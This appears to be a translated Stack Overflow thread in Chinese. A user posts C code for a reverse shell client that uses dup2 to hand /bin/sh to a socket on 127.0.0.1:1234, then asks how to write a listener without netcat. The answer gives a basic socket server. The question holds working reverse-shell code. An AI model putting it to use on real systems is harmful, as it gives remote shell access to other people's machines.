有人对以下方面有任何想法吗:如何在不使用 netcat 的情况下为该客户端实现服务器?

我尝试了不同的方法,但是由于我对管道不太熟悉,因此我考虑撰写此文章。如果使用此代码,并且设置了诸如“nc -l 1234”之类的netcat监听器,我将从下面的客户端接收重定向的shell。

我怎样才能实现服务器
与netcat相同的功能,但不为此特定客户端使用netcat?

谢谢。

#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void) {
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in serv_addr = {0};
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(1234);
    serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    //system("uname -a; w; id");
    execl("/bin/sh", "sh", NULL);
}

最佳答案

以下代码创建一个接受单个连接的基本监听器:

#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void) {
    // 1. Create a socket with the socket() system call
    int sock = socket(AF_INET, SOCK_STREAM, 0);

    // 2. Bind the socket to an address using the bind() system call.
    struct sockaddr_in serv_addr = {0};
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = INADDR_ANY;
    serv_addr.sin_port = htons(1234);
    bind(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr));

    // 3. Listen for connections with the listen() system call
    listen(sock, 128);

    // 4. Accept a connection with the accept() system call.
    struct sockaddr_in cli_addr = {0};
    socklen_t cli_addrlen = sizeof(cli_addr);
    int acc_sock = accept(sock, (struct sockaddr *)&cli_addr, &cli_addrlen);

    // 5. Send and receive data
    char buf[1024];
    ssize_t nread;

    // Read from stdin, write to socket
    nread = read(0, buf, 1024);
    write(acc_sock, buf, nread);

    // Read from socket, write to stdout
    nread = read(acc_sock, buf, 1024);
    write(1, buf, nread);
}

当然,您将希望通过检查错误来使其更强大。您可能希望将第4步和第5步包装成一个循环,以允许多个连接。

步骤5只是建立连接后如何通过套接字进行通信的示例。如果要在终端和套接字(例如netcat)之间连续传递数据,则可能要使用 select 循环。

引用:
  • socket bind listen accept
  • Sockets Tutorial
  • Unix Socket - Server Examples
  • 关于c - 使用不带netcat的dup2通过套接字将Shell从客户端重定向到服务器,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/35422628/

    10-10 15:21